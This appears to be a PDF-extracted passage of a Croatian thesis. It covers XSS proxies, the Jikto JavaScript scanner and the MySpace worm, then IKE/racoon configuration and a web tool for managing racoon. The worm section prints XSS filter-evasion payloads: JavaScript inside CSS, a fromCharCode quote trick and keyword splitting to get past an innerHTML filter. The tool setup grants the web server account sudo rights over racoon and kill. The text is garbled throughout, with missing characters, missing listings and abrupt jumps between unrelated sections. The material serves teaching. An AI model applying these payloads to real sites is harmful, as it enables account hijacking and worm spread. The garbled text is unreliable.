skripte, omoguen je dohvat novog kda. Dvosmjerna komunikacija koja se dobiva XSS
posrednikom stvara malo drugaiju situaciju, kao na slici 3.11.
Napredna vrsta XSS posrednika omoguava skrivanje IP adrese i lokacije napadaa, no za taj
scenarij, potrebne su dvije aplikacije ranjive na XSS, jedna za prikrivanje lokacije, a druga s koje
napadaa zaista zanima sadraj koji korisnik pregledava. Scenarij je prikazan na slici 3.12.
U prikazanom primjeru, napada koristi prvu aplikaciju da bi stvorio kontrolni prozor. U tom
prozoru otvara tri linijska okvira:
jedan za uitavanje druge aplikacije ranjive na XSS (u kojem uitava dodatni linijski okvir)
IFRAME3;
Napada i dalje ima mogunost itati i pisati po podacima koji se nalaze u IFRAME1 okviru. Nova
aplikacija se uitava u IFRAME2 okvir te se u njoj otvori novi IFRAME4 okvir za stvarno
uitavanje dokumenata s nove aplikacije. IFRAME2 okvir postaje komunikacijski okvir tako da vri
izmjenu lokacije pokazivanjem na nepostojei URL u domeni jedne od dviju aplikacija. URL je
zapravo kanal kojim putuju podaci, jer se unutar URL-a zapisuju podaci koji se prenose.
Prva aplikacija prima naredbe od napadaa i usmjeruje IFRAME2 na drugu aplikaciju uz dodavanje
napadaevih naredbi u URL. Druga aplikacija ima kontrolu nad IFRAME2, pa ita trenutnu lokaciju
okvira da bi dohvatila napadaeve naredbe. Nakon to izvri naredbe, druga aplikacija usmjeruje
IFRAME2 na lokaciju prve aplikacije te rezultat naredbi dodaje u URL. Prva aplikacija tada ima
kontrolu nad IFRAME2 pa ga proita i proslijedi rezultate napadau. Ovom metodom je IP adresa i
lokacija napadaa potpuno nepoznata drugoj aplikaciji, jer napada ni u jednom trenutku ne
komunicira izravno s njom pa je takoer uspjeno izvedeno zaobilaenje politike istog izvora,
obzirom da IFRAME2 mijenja domenu te je ovisno o stanju XSS posrednika dostupan skriptama na
jednoj ili drugoj domeni [62].
54
3.5.4. JIKTO
Krajem oujka 2007. godine, na ShmooCon konferenciji u Washingtonu, Billy Hoffman, glavni
istraiva u kompaniji SPI Dynamics, odrao je prezentaciju o mogunostima stvaranja zloudnog
JavaScript kda. Na prezentaciji je predstavio Jikto, pretraiva ranjivosti Web aplikacije, u kojem
su sakupljene neke ve predstavljene mogunosti JavaScript-a, ali je dodano i ispitivanje ranjivosti
Web aplikacije. Hoffman nije namjeravao objaviti kd, ali je kd jo tijekom konferencije procurio
u javnost. Kd koji je procurio je osnova Jikto-a, dakle JavaScript kd, dok kontrolni kd i kd za
prikaz rezultata nisu ukradeni, meutim relativno jednostavno je implementirati ga na nain koji
nam odgovara, kao to je jednostavna i modifikacija osnovnog JavaScript kda. Jikto je, kako je
reeno, pretraiva ranjivosti Web aplikacija, koji je potpuno napisan u JavaScript-u. Njegova
osnovna funkcionalnost je pretraga aplikacije i provjera ranjivosti, te slanje rezultata. Meutim,
obzirom da se radi o JavaScript kdu, Jikto je uz manje modifikacije mogue ukljuiti u bilo koju
stranicu te posjetitelje pretvoriti u suuesnike u pretraivanju ranjivosti i eventualnoj eksploataciji
ranjivosti.
Kako bi zaobiao politiku istog izvora, Jikto koristi Google Translate javni posrednik, koji je
primarno namijenjen kao usluga prijevoda Web stranica koju daje Google. Meutim, obzirom da
sav sadraj koji Google Translate vraa spada pod njegovu domenu, bilo ga je lako iskoristiti da bi
se sadraj s razliitih stranica mogao koristiti pod zajednikom domenom, tonije uspjeno zaobii
politiku istog izvora. Ova metoda je prikazana na slici 3.13.
Obzirom da se nakon ovog naina dohvaanja sadraja koritenjem Google Translate-a, i Jikto kd i
sadraj koji daje Web posluitelj koji pretraujemo nalaze pod domenom Google Translate-a, Jikto
kd moe pristupati svim elementima dohvaene stranice, kao i vriti nove pozive.
Za dohvat sadraja aplikacije koja se provjerava, mogue je koristiti iframe elemente ili AJAX
pozive. Obzirom da se AJAX pozivima dobiva vea brzina, oni su koriteni za pretragu ranjivosti
Web aplikacije.
Znaajna prednost Jikto-a jest da je vrlo brz, da nije potrebna instalacija dodatnih alata, te da
funkcionira na razliitim preglednicima i platformama. Meutim, postoje i odreeni nedostaci koji
se primarno odnose na koritenje posrednika. Posrednik ima mogunost izmjene polja zaglavlja
zahtjeva, kao i ograniavanja zahtjeva ovisno o sadraju ili o uestalosti zahtjeva.
Logika Jikto-a je jednostavna, iz reda zahtjeva uzima prvi i odailje ga. Nakon to primi odgovor,
proui ga, provjeri veze koje se nalaze u odgovoru i doda ih u red zahtjeva, ali takoer stvara i nove
zahtjeve iz polja formulara. Primjer kontrolirane provjere ranjivosti prikazan je na slici 3.14.
55
Jikto je postavljen na provjeru Web posluitelja na kojem se nalazi i kd pa stoga nije koriten
Google Translate servis. Meutim, konfiguracija za koritenje putem tog servisa je trivijalna. Na
testnom posluitelju, nalazi se vei broj skripti i stranica.
Proces zapoinjemo uitavanjem kontrolne stranice i pritiskom na gumb za poetak pregleda.
Nakon to pregled zapone, u konzoli je vidljivo da preglednik alje veliku koliinu AJAX zahtjeva
prema Web posluitelju.
Nakon to provjera zavri, rezultati su dostupni napadau u datoteci ili bazi podataka, ovisno o
nainu na koji je Jikto kd prilagoen, tj. nainu na koji se pohranjuju rezultati (u ovom primjeru
radi se o PHP skripti koja dohvaa rezultate od Jikto-a i pohranjuje ih u tekstualnu datoteku). Ispis
3.58 prikazuje rezultate JIKTO alata.
56
Izmeu ostalog, vidljivo je da je Jikto dohvatio sve resurse koji su referencirani u stranicama te je za
odreene javio ranjivosti. U ispisu je vidljivo da je detektirana rezervna kopija datoteke
http://127.0.0.1:80/zend-ike/login/dologin.bak (iz koje je mogue saznati detalje o
implementaciji mehanizma za prijavu). Takoer, detektirana je mogua ranjivost na XSS napad pri
57
zahtjevu
http://127.0.0.1:80/blog/search.php?q=%3Cscript%3Ealert%28%27xss%27%29%3C/script
%3E u kojem je oito kao jedan od parametara pretrage ubaen JavaScript kd. U sluaju da se zaista
radi o XSS ranjivosti, to iako nije u potpunosti implementirano, moe biti relativno jednostavno
provjereno pokuajem evaluacije odgovora u zasebnom iframe okviru, Jikto bi se mogao
samopropagirati umetanjem svog kda u tu ranjivu stranicu.
Napada moe primati informacije raznih korisnika u ijim se preglednicima Jikto izvrava te time
njegove prljave poslove izvravaju sluajni korisnici, a identitet napadaa je skriven prema
aplikacijama koje se provjeravaju [63,64,65].
MySpace.com je vrio provjeru HTML oznaka, tonije doputali su samo <a>, <img> i
<div> oznake. Oznake <script>, onClick dogaaji, veze s JavaScript-om i slino nije bilo
dozvoljeno. Meutim, neki preglednici (IE, Safari, itd.) dozvoljavaju JavaScript kd unutar
CSS stilova. Kdom u ispisu 3.59 omogueno je izvravanje JavaScript kda, umjesto
dohvata pozadinske slike definirane CSS stilom.
Ispis 3.59. Zaobilaenje restrikcije izvoenja JavaScript kda
<div style="background:url('javascript:alert(1)')">
sve izbjegnute navodnike (jednostruke i dvostruke) neovisno gdje se nalaze u sadraju. Ipak,
rupa je postojala. Pretvorbom decimalne u ASCII vrijednost kroz JavaScript, bilo je mogue
stvoriti znak navodnika, kao u ispisu 3.62.
Ispis 3.62. Stvaranje navodnika pretvorbom decimalne u ASCII vrijednost
<div id="mycode" expr="alert('double quote: ' + String.fromCharCode(34))"
style="background:url('java
script:eval(document.all.mycode.expr)')">
Da bi se poslao novi sadraj profilu korisnika koji gleda zaraenu stranicu, bilo je potrebno
dohvatiti
kd
stranice.
Kamkar
je
to
pokuao
izvesti
koritenjem
document.body.innerHTML poziva da bi dohvatio kd stranice i unutar njega polje u kojem
je zapisan identifikator korisnika koji gleda stranicu. Meutim, MySpace.com je ponovno
postavio prepreku zabranjujui rije innerHTML bilo gdje u sadraju. Da bi izbjegao ovo
ogranienje, napada je koristio spajanje rijei na nain kao u ispisu 3.63.
Ispis 3.63. Spajanje izraza koji su ogranieni
alert(eval('document.body.inne' + 'rHTML'));
Obzirom da se izraz friendID sada ne moe nai u kdu crva, ve je zamijenjen gornjim
izrazom spajanja, pretraga vraa ispravan rezultat.
Prvo slijedee to je napada napravio je, pokuao je dodati sebe za prijatelja rtvi, slanjem
AJAX poziva POST metodom na addFriends stranicu. Obzirom da se trenutno kd izvodi
na profile.myspace.com, a ne na www.myspace.com domeni, poziv nije uspio jer je
detektiran pokuaj povrede politike istog izvora. Meutim i za to je napada pronaao
rijeenje. Profili korisnika su bili dostupni i s www.myspace.com domene pa bi ponovno
uitavanje stranice na toj domeni dozvolilo slanje POST zahtjeva. Primjer promjene domene
prikazan je u ispisu 3.66.
Ispis 3.66. Kd za izmjenu domene
Nakon ovog trika, POST zahtjev je uspjeno poslan, meutim, prijatelj nije zaista dodan.
MySpace.com generira sluajan niz znakova koji se umeu u stranicu s koje se odailje POST
zahtjev. Ukoliko taj niz nije odaslan zajedno s POST zahtjevom, zahtjev nije bio uspjeno
autoriziran. Da bi se zaobilo ovaj problem, napada je prvo dohvatio GET zahtjevom stranicu s
koje se alje POST zahtjev, iz njenog sadraja dohvatio sluajni niz znakova te zatim izvrio slanje
POST zahtjeva uz dodavanje zadanog niza. Nakon to je uspjeno dodan kao prijatelj, napada je
elio dodati sebe kao heroja, ali i dodati kd crva da bi se propagirao. Kd je postavio u popis
heroja, za to je bio potreban jedan POST zahtjev i prethodni GET da bi se dohvatio sluajan niz.
Nakon manjih problema oko URL kdiranja kda da bi se uspjeno umetnuo u stranicu, crv je
kompletiran. Za ovaj napad, oito je bilo potrebno dosta znanja i snalaljivosti da bi se zaobilo sva
ogranienja [16].
60
Indeks sigurnosnog parametra (nadalje SPI engl. Security Parameter Index) 32-bitni broj
koji identificira pojedini SA.
Obzirom da SA definira izvorinu i odredinu IP adresu, moe zatititi samo jedan smjer prometa u
dvosmjernoj IPsec komunikaciji. Da bi se zatitila komunikacija u oba smjera, potrebna su dva
jednosmjerna SA. SA definira samo kako IPsec treba tititi promet. Naravno, potrebne su i
informacije kada i koji promet treba tititi. Te informacije se nalaze u zapisima sigurnosne politike
(nadalje SP engl. Security Policy), koji su pohranjeni u bazi sigurnosne politike (nadalje SPD
engl. Security Policy Database). SP obino specificira sljedee parametre:
izvorina i odredina adresa paketa koje je potrebno tititi. U transportnom nainu rada, ove
adrese su jednake adresama u SA, dok u tunelirajuem nainu rada mogu biti drugaije;
Runo postavljanje SA-a je prilino osjetljiv zadatak i ne pretjerano siguran. Tajni kljuevi i
algoritmi kriptiranja moraju se podijeliti svim krajnjim tokama virtualne privatne mree. Razmjena
simetrinih kljueva je kritian problem za administratora sustava, obzirom da se jo ne vri ni
jedan oblik kriptiranja.
Da bi se ovaj problem rijeio, stvoren je IKE (Internet Key Exchange) protokol. U prvoj fazi IKE
protokola, vri se autentifikacija krajnjih toaka, dok se u drugoj fazi vri dogovor o potrebnim SAima, te se odabiru simetrini tajni kljuevi koritenjem Diffie-Hellmann razmjene kljueva. IKE
protokol takoer vri i periodiku izmjenu kljueva da bi se osigurala njihova pouzdanost.
IKE protokol rjeava najizraeniji problem pokretanja sigurne komunikacije - autentifikaciju
krajnjih toaka i izmjenu simetrinih kljueva. Zatim stvara SA-e i dodaje ih u SAD. IKE protokol
obino zahtijeva daemon i nije implementiran unutar operacijskog sustava. IKE protokol koristi
pristup 500 i protokol UDP za svoju komunikaciju.
Protokol funkcionira u dvije faze. Prva faza vri uspostavu ISAKMP SA (Internet Security
Association Key Management Security Association). U drugoj fazi, ISAKMP SA se koristi za
dogovor i postavljanje IPsec SA-a. Autentifikacija krajnjih toaka u prvoj fazi obino se odvija na
temelju preraspodjeljenih kljueva (PSK Pre-Shared Key), RSA kljueva i X.509 certifikata. Prva
faza moe se izvesti u dva naina, glavni (engl. main mode) i agresivni (engl. aggressive mode).
Oba naina autentificiraju krajnje toke i uspostavljaju ISAKMP SA, ali agresivnim nainom se za
62
to izmjeni dvostruko manje poruka izmeu krajnjih toaka. Naravno da to povlai i nedostatke, jer
agresivni nain ne podrava zatitu identiteta pa je ovaj nain ranjiv na napad presretanja (engl.
Man-in-the-middle) u sluaju koritenja PSK autentifikacije. S druge strane, ovo i je jedini cilj
agresivnog naina rada jer glavni nain ne dozvoljava koritenje razliitih preraspodjeljenih
kljueva za nepoznate krajnje toke. Kako je reeno, agresivni nain rada ne podrava zatitu
identiteta pa prenosi podatke o identitetu klijenta u nekriptiranom obliku. Stoga krajnje toke znaju
s kime komuniciraju prije nego se izvri autentifikacija i mogu odabrati odgovarajui
preraspodjeljeni klju za svakog pojedinog klijenta. U drugoj fazi IKE protokola vri se izmjena
zahtjeva za SA-ima i dogovor o SA-ima na temelju ISAKMP SA. ISAKMP SA prua
autentifikaciju da bi se zatitio od napada presretanja. Druga faza koristi takozvani brzi nain rada
(engl. quick mode).
Obino dvije krajnje toke uspostavljaju samo jedan ISAKMP SA, koji se zatim koristi za dogovor
o nekoliko (najmanje dva) jednosmjernih SA-a.
kernel_spd opcija;
Specificira to treba napraviti s kernel politikom u trenutku pokretanja. Mogue ju je
ponititi i postaviti politiku definiranu u konfiguracijskoj datoteci, mogue ju je
sinkronizirati s politikom definiranom u konfiguracijskoj datoteci, ili ju je mogue
zanemariti i postaviti politiku definiranu u konfiguracijskoj datoteci. Mogue opcije su:
flush ponititi
sync sinkronizirati
ikesa_max broj;
Specificira koliko potpuno uspostavljenih IKE sigurnosnih asocijacija s iste IP adrese e alat
dozvoliti prije nego pone ignorirati nove zahtjeve.
ikesa_max 50;
ikesa_max_halfopened broj;
Specificira koliko djelomino uspostavljenih IKE sigurnosnih asocijacija s iste IP adrese e
alat dozvoliti prije nego pone ignorirati nove IKE SA INIT zahtjeve.
ikesa_max_halfopened 50;
remote ip_adresa {
Remote sekcija - specificira parametre za IKE prvu fazu za svaki udaljeni vor. Ukoliko je
specificirana vrijednost anonymous, parametri e odgovarati svim vorovima koji ne
odgovaraju ostalim remote sekcijama.
Remote 161.53.65.40 {
nonce_size broj;
Specificira veliinu nonce vrijednosti u bajtovima
nonce_size 32;
ike_max_idle vrijeme;
Specificira maksimalno vrijeme neaktivnosti nakon kojeg se pokree proces detekcije
mrtvog sudionika (engl. dead peer detection).
ike_max_idle 1000 s;
response_timeout vrijeme;
Specificira vrijeme ekanja prije odgovora.
response_timeout 3 s;
response_retries broj;
Specificira broj pokuaja za odgovor.
response_retries 3;
on ukljuena opcija
natt opcija;
Specificira da li alat treba podrati ili inicirati zahtjeve IPsec NAT-T proirenja. NAT-T
omoguava da jedan ili oba vora veze mogu biti iza posrednika koji vri NAT. Mogue
opcije su:
on inicirati
passive podrati
natt passive;
proposal {
Zasebna sekcija koja specificira zahtjeve prema drugom voru. Sadri sljedee specifikacije:
64
auth_algorithm algoritam;
Specificira algoritam autentifikacije. Mogua vrijednost je primjerice md5_96.
auth_algorithm md5_96;
pseudo_random_function algoritam;
Specificira algoritam saetka. Mogua vrijednost je primjerice md5.
pseudo_random_function md5;
dh_group opcija;
Specificira grupu Diffie-Hellmann eksponencija. Mogua vrijednost je primjerice
modp1024.
dh_group modp1024;
authentication_method metoda;
Specificira metodu autentifikacije tijekom prve faze pregovora. Mogua vrijednost je
primjerice pre_shared_key.
authentication_method pre_shared_key;
Sainfo sekcija - specificira parametre druge faze IKE protokola. Zaglavlje se moe pojaviti na dva
naina:
sainfo src ip_srcadresa sport pristup_src dst ip_dstadresa dport pristup_dst proto protokol{
gdje su:
pristup_src pristup, raspon pristupa ili any kao oznake pristupa vora na poetku
tunela
pristup_dst pristup, raspon pristupa ili any kao oznake pristupa vora na kraju tunela
on ukljuena
off iskljuena
passive pasivno
pfs on;
dh_group opcija;
Specificira grupu Diffie-Hellmann eksponencija. Specifikacija je identina istoimenoj u
proposal sekciji.
dh_group modp1024;
auth_algorithm algoritam;
Specificira algoritam autentifikacije pri drugoj fazi IKE protokola. Mogua vrijednost je
primjerice sha1_96.
auth_algorithm sha1_96;
encryption_algorithm algoritam;
Specificira algoritam enkripcije pri drugoj fazi IKE protokola. Mogua vrijednost je
primjerice 3des.
encryption_algorithm 3des;
Local sekcija - sadri opcije vezane uz raunalo na kojem se IKE aplikacija pokree.
Remote sekcija - sadri opcije vezane uz specifikacije koje se nalaze u istoimenoj sekciji
konfiguracijske datoteke. Razvoj stabla iz Remote sekcije izgleda kao na slici 4.4.
ili
te
67
NATT - sadri opcije vezane uz NAT postavke na putu izmeu dva vora. NATT
sekcija sadri elemente:
Port koji nosi vrijednost pristupa koji se koristi pri NAT translaciji,
Policy - sadri opcije vezane uz pravila iniciranja povezivanja. Policy sekcija ima
element GeneratePolicy koji nosi vrijednost ukljuenja automatskog generiranja politike;
68
Hash - sadri opcije vezane uz algoritam saetka. Hash sekcija ima element
Algorithm koji nosi vrijednost algoritma saetka;
Tunnel - sadri opcije vezane uz postavljanje tunela pri povezivanju. Tunnel sekcija
sadri elemente:
ili
te
69
70
Oznakama za poetak << i kraj >> su obuhvaeni putovi u XML generikoj konfiguraciji koji
vode do vrijednosti postavke koju treba umetnuti na trenutno mjesto u specifinoj konfiguracijskoj
datoteci da bi se ona ispravno popunila. Iz primjera je vidljivo da prolaskom kroz XML stablo
generike konfiguracije putem IPSec->Remote->NATT->OnOff dolazimo do vrijednosti koja se u
predloku mora nalaziti u liniji koja zapoinje s nat_traversal. Na jednak nain su definirane i druge
opcije koje se umeu u predloak konfiguracijske datoteke.
Primjer predloka specifine konfiguracije IKE alata izgledao bi kao u ispisu 4.2.
71
72
Punilac je glavna kontrola koja ovisno o ulaznom dogaaju, prosljeuje obradu na odgovarajuu
kontrolu [22].
Struktura aplikacije na disku izgleda kao na slici 4.8. Bitni segmenti su:
index.php punilac.
73
74
75
najee uporabe (YUI "A" klasa preglednika), a meu njima su IE6, IE7, Firefox, Opera i Safari
preglednici.
Ono to je znaajno za YUI biblioteku i to ju istie meu brojnim slinim JavaScript radnim
okruenjima jest iznimno dobro odravana i kvalitetna dokumentacija. Upravo zato je YUI trenutno
najpopularnije JavaScript razvojno okruenje [9].
Nakon to korisnik u popisu datoteka na tvrdom disku odabere neku specifinu konfiguracijsku
datoteku za uitavanje, u metodu act JavaScript klase Acter se prenosi veza s parametrima koji
jednoznano odreuju odabranu datoteku, npr. /disc/load?filename=prva.conf. Metoda act
koritenjem AJAX-a vri slanje zahtjeva na danu vezu, tj. alje zahtjev akciji load kontrole disc te
prenosi parametar filename s vrijednou prva.xml, nakon to prethodno prikae dijalog ekanja.
Rad aplikacije se prenosi s korisnikog preglednika na aplikaciju na posluitelju.
Akcija load u disc kontroli vri provjeru da li je zadan potrebni parametar te ukoliko nije vri
preusmjeravanje na error404 akciju, dok ukoliko je parametar zadan, u podatke sjednice zapisuje
naziv zahtjevane datoteke te koritenjem Disc modela dohvaa njen sadraj. Ukoliko je sadraj
uspjeno dohvaen, on se zapisuje u podatke sjednice i izvoenje se preusmjerava na edit akciju
76
kontrole. Edit akcija dohvaa naziv i sadraj datoteke te ovisno o tome da li se radi o
generikoj XML ili specifinoj konfiguracijskoj datoteci, poziva stvaranje odgovarajueg pogleda.
Obzirom da se u primjeru radi o specifinoj konfiguracijskoj datoteci, poziva se stvaranje pogleda
editUtil.tpl. U datoteku pogleda se prema predloku definiranom u njoj umeu vrijednosti imena
datoteke i njenog sadraja te se on zajedno s u datoteci pogleda definiranim JavaScript kdom alje
kao odgovor na zahtjev klijenta.
util
Rad aplikacije se ponovno vraa na klijentski preglednik, gdje se primitkom odgovora poziva
funkcija handleSuccess u klasi Acter koja je povratna funkcija AJAX poziva. Funkcija
handleSuccess odgovor posluitelja umee u DOM stablo i nakon toga skriva dijalog ekanja.
Obzirom da sadraj odgovora posluitelja referencira nepostojeu sliku 404.gif, kako je vidljivo u
datoteci pogleda, preglednik zapoinje izvoenje funkcije onerror vezane uz nepostojanje slike.
Ovaj nain izvoenja kda na zahtjev (engl. on-demand-javascript) je koriten da bi se zaobili
tipini problemi izvoenja kda na zahtjev u globalnom okviru preglednika, a vezani uz razliite
implementacije na razliitim preglednicima [19,25]. Izvoenje onerror funkcije koja je prenesena
u odgovoru posluitelja se izvodi u pregledniku, a postavlja izgled dohvaenog sadraja koritenjem
YUI klasa. Tonije, stvara se novi dijalog koji sadri naziv datoteke i njen sadraj, te opcije i gumbe
koji odreuju mogue akcije nad datotekom. Kd takoer definira i funkciju handleUtilSubmit
koja e vriti zahtjev sljedee akcije. U tom trenutku, u prozoru preglednika, korisnik vidi stanje
aplikacije kao na slici 4.18.
Nakon to korisnik izvri izmjene na prikazanom sadraju konfiguracijske datoteke u dijalogu,
uzmimo za primjer, odabire pohranu izmijenjene datoteke na tvrdi disk s novim imenom koje je
takoer zadao u prikazanom dijalogu, pritiskom na gumb Do it. U tom trenutku se poziva funkcija
handleUtilSubmit. Funkcija vri slanje POST zahtjeva AJAX-om prema posluitelju, tonije
prema akciji update kontrole edit te kao POST parametre alje zadano ime datoteke, njen
izmijenjeni sadraj i akciju koja se zahtijeva, nakon to prethodno ponovno prikae dijalog ekanja.
Izvoenje se ponovno prebacuje na posluitelj, gdje akcija update prihvaa POST parametre te
ovisno o tipu sadraja ispravno pohranjuje sadraj u podatke sjednice. Ovisno o akciji koja je
zatraena, zatim se izvri preusmjeravanje. U prikazanom primjeru, akcija update e shvatiti da se
ne radi o XML datoteci, pa e izvorno dohvaeni sadraj pohraniti u podatke sjednice i obzirom da
je zahtijevana akcija spremanje na tvrdi disk, izvoenje preusmjeriti na akciju save kontrole disc.
Akcija save e iz podataka sjednice dohvatiti podatke trenutne datoteke te e sadraj pohraniti u
datoteku danog naziva. Ovisno o uspjehu pohrane, ova akcija alje odgovarajui odgovor klijentu te
brie podatke sjednice koji definiraju do sada koritenu datoteku.
Izvoenje se ponovno vraa na preglednik klijenta, koji prihvaa odgovor posluitelja o uspjenoj
pohrani datoteke te kako je definirano pri ovom AJAX pozivu, poziva funkciju
handleUtilSuccess. U tom trenutku, u prozoru preglednika, korisnik vidi stanje aplikacije kao na
slici 4.16. Pozvana funkcija prikazuje korisniku odgovor o uspjenoj pohrani te nakon potvrde
korisnika, vri novi AJAX poziv akciji list kontrole disc, da bi se dohvatio novi popis datoteka.
Nakon to akcija list koritenjem modela Disc dohvati popis postojeih datoteka, prosljeuje ga
pogledu listDisc.tpl koji se popunjava podacima o datotekama te se zajedno s dodanim
JavaScript kdom alje klijentu. Nakon primitka odgovora, preglednik odgovor umee u DOM
stablo i izvrava pripadni JavaScript kd da bi definirao izgled i mogunosti koje prua popis
datoteka na disku te ga prikazuje korisniku. U tom trenutku, u prozoru preglednika, korisnik vidi
stanje aplikacije kao na slici 4.14.
Korisnik ponovnim uitavanjem spremljene datoteke ponavlja proces te ovoga puta umjesto
izmjene i pohrane, odabire pokretanje racoon alata pomou uitane konfiguracije. Nakon klika na
gumb Do it, update akcija util kontrole ovoga puta vri preusmjeravanje izvoenja na akciju run
kontrole racoon, koja naziv konfiguracijske datoteke prosljeuje svom pogledu runRacoon.tpl. U
77
pogledu se vri priprema HTML kda za prikaz umetanjem naziva konfiguracijske datoteke i
datoteke zapisa te se zajedno s pridruenim JavaScript kdom vraa klijentu.
Izvoenje je ponovno na klijentu, gdje se sadraj odgovora umee u DOM stablo i zatim izvrava
JavaScript kd. Kd formira izgled dijaloga s opcijama za pokretanje racoon alata te zapone
AJAX pozivima prema akciji ajaxcall kontrole racoon uz parametar what vrijednosti update
vriti osvjeavanje zapisa iz definirane datoteke zapisa. Nakon to korisnik eventualno izmjeni put
do konfiguracijske datoteke i datoteke zapisa ili dodatne opcije pokretanja te klikne na gumb RUN
RACOON, preglednik alje AJAX poziv akciji ajaxcall kontrole racoon uz parametar what
vrijednosti run, uz dodatne parametre imena konfiguracijske datoteke, datoteke zapisa i dodatnih
opcija pokretanja racoon alata. U tom trenutku, u prozoru preglednika, korisnik vidi stanje
aplikacije kao na slici 4.22.
Nakon to akcija ajaxcall primi ovaj zahtjev, koritenjem modela Racoon i posredstvom modela
Shellexec pokree racoon alat na posluitelju i zapisuje njegov identifikator procesa u podatke o
sjednici.
Obzirom da klijent u sljedeem pozivu osvjeavanja dobiva informaciju da je racoon alat pokrenut,
kd klijenta mijenja sliku koja predstavlja stanje racoon alata. U istom odgovoru klijent dobiva
nove linije iz datoteke zapisa te ih prikazuje korisniku.
U tom trenutku, u prozoru preglednika, korisnik vidi stanje aplikacije kao na slici 4.21.
78
Da bi XML generika konfiguracija bila valjana, potrebno je potivajui pravila definirana u shemi,
stvoriti novu datoteku generike konfiguracije. Nova generika konfiguracija bi prema novoj shemi
mogla sadravati vrijednost PSK kljua umjesto puta do datoteke koja ju sadrava, meutim, u
procesu konverzije, a ovisno o izgledu predloka, ovaj izmjena bi dovela do potrebe za stvaranjem
datoteke u koju bi se zapisao klju, ali i identifikator korisnika definiran u istoj Remote sekciji, dok
bi se put do datoteke pohranio u popunjeni predloak. Na kraju, potrebno je i predloak koji se eli
koristiti prilagoditi novim opcijama, ukoliko se one koriste u predloku.
Da bi se izvrilo proirenje mogunosti aplikacije, potrebno je, jasno, izvriti stvaranje novih klasa i
akcija kontrole, te pogleda i potrebnih modela prema pravilima MVC arhitekture. Za ozbiljnija
proirenja, potrebno je detaljnije prouiti kd aplikacije i nain obrade, no osnovne smjernice se
svode na slijedee.
Za izmjene i operacije koje se vre nad konfiguracijskim datotekama, moe se i preporua koristiti
kontrolu util, posebice njenu akciju edit, te priloene datoteke pogleda. U ovoj kontroli se moe
izvriti dodavanje mogunosti koje se mogu koristiti s datotekom koja je trenutno uitana, dok se u
njenom pogledu moe izvriti izmjena suelja i usmjeravanja toka ovisno o odabranoj naredbi
aplikacije. Sve izmjene koje se tiu prezentacijskog dijela aplikacije, tonije pogleda, veinom
ukljuuju i izmjene JavaScript kda koji se nalazi u datotekama pogleda i eventualno u specifinim
ukljuenim datotekama u direktoriju /js.
Za dodavanje novog IKE alata, mogue je takoer koristiti ve postojei model za zadavanje
naredbi operacijskom sustavu, kao i pratiti nain rada aplikacije kod racoon alata te prema tom
predloku i eljenim opcijama vriti proirenje aplikacije za rad s novim alatom. Takoer, stvaranje
79
novih pogleda ukljuuje prilagodbu JavaScript kda i praenje toka aplikacije na prezentacijskom
sloju, kako praenjem principa rada kod racoon alata, tako i obzirom na glavnu datoteku pogleda
/application/views/site-ajax.tpl.php. Za detalje je potrebno prouiti dokumentaciju
aplikacije.
Da bi se omoguilo pokretanje novog alata, osim proirenja aplikacije, potrebno je izmijeniti i
sudoers (/etc/sudoers) datoteku operacijskog sustava, da bi se korisnikom raunu koji koristi
Apache posluitelj (www-data) omoguilo pokretanje alata s administratorskim pravima. Trenutno
dana prava korisnikom raunu Apache posluitelja su administratorsko izvoenje izvoenje
naredbi
/usr/sbin/racoon
/bin/kill
- za gaenje procesa.
Izmjene na glavnom izborniku je mogue izvriti u JavaScript kdu koji se takoer nalazi u glavnoj
datoteci pogleda. U istoj datoteci definirane su i CSS pravila prema kojima se formatira izgled.
Takoer, ukoliko proirenja prelaze trenutne mogunosti i zahtijevaju dublje izmjene osim
modifikacija postojeeg toka i naina rada, nuno je koristiti dokumentaciju Zend Framework-a za
izmjene na logici aplikacije, kao i dokumentaciju YUI-a, za izmjene na prezentacijskom sloju i
prezentacijskoj logici.
Ukoliko se korisnik uspjeno autentificira, aplikacija otvara poetnu stranicu s izbornikom, kao na
slici 4.13.
Datoteke su ispisane u dvije skupine. Prva skupina predstavlja XML datoteke s generikom
konfiguracijom, dok druga predstavlja specifine konfiguracijske datoteke. Popis je mogue sortirati
ili listati po stranicama putem kontrola uz popis. Ukoliko se odabirom Db->List opcije izbornika
zatrai ispis datoteka u bazi podataka, dobiva se jedan popis datoteka koje imaju dodatne osobine,
kao na slici 4.15.
Datoteke se u ovom popisu, osim po imenu, mogu sortirati i prema datumu stvaranja, tipu
konfiguracije ili po autoru datoteke.
Klikom na Delete file opciju u popisu, datoteka e biti izbrisana, kao na slici 4.16.
81
Klikom na Load file opciju u popisu, aplikacija e uitati datoteku. Ukoliko se radi o XML
generikoj konfiguraciji, aplikacija e ju prikazati u obliku stabla iji se zapisi u listovima mogu
mijenjati. Izmjena se vri klikom na zapis i unosom nove vrijednosti, kako prikazuje slika 4.17.
Ukoliko se radi o specifinoj konfiguraciji, ona e se prikazati u izvornom obliku, kao na slici 4.18.
82
Vidljivo je da pri prikazu konfiguracijske datoteke aplikacija daje nekoliko mogunosti. Ukoliko
datoteku izmijenimo, mogue ju je pohraniti u bazu podataka ili na tvrdi disk postavljanjem
odgovarajueg imena datoteke i odabirom eljene opcije, te pritiskom na gumb Do it. Takoer,
datoteku je mogue vidjeti u HTML obliku, radi lakeg pregleda ili prijenosa, kako je vidljivo na
slici 4.19.
Osim toga, mogue je stvoriti specifinu konfiguracijsku datoteku iz XML generike konfiguracije,
odabirom opcije Create racoon, ili pokrenuti racoon alat koritenjem specifine konfiguracijske
datoteke, odabirom opcije Run racoon i pritiskom na gumb za izvoenje akcije. Ukoliko se odabere
stvaranje specifine konfiguracijske datoteke, otvoriti e se novi okvir kao na slici 4.20.
U ovom okviru, potrebno je unesti put do konfiguracijske datoteke, XML sheme i predloka
konfiguracijske datoteke, te pritiskom na gumb Convert izvriti konverziju. Novostvorena
specifina konfiguracijska datoteka se nakon toga prikazuje u dijalogu ve prikazanom na slici 4.18
da bi se omoguilo druge izmjene na datoteci ili njena pohrana. Novostvorenu datoteku nakon
pohrane moemo iskoristiti za pokretanje racoon alata, odabirom opcije Racoon run. Aplikacija
otvara dijalog kao na slici 4.21.
83
Pritiskom na gumb STOP RACOON, na isti nain je mogue ugasiti racoon alat. Nakon gaenja, ili
prije odlaska sa stranice, potrebno je zatvoriti kontrolni prozor, da bi se zaustavilo automatsko
osvjeavanje zapisa, kao na slici 4.23.
84
Na kraju rada, radi sigurnosti aplikacije, potrebno je da se korisnik odjavi s aplikacije odabirom
opcije User->Logout u glavnom izborniku, kako prikazuje slika 4.24.
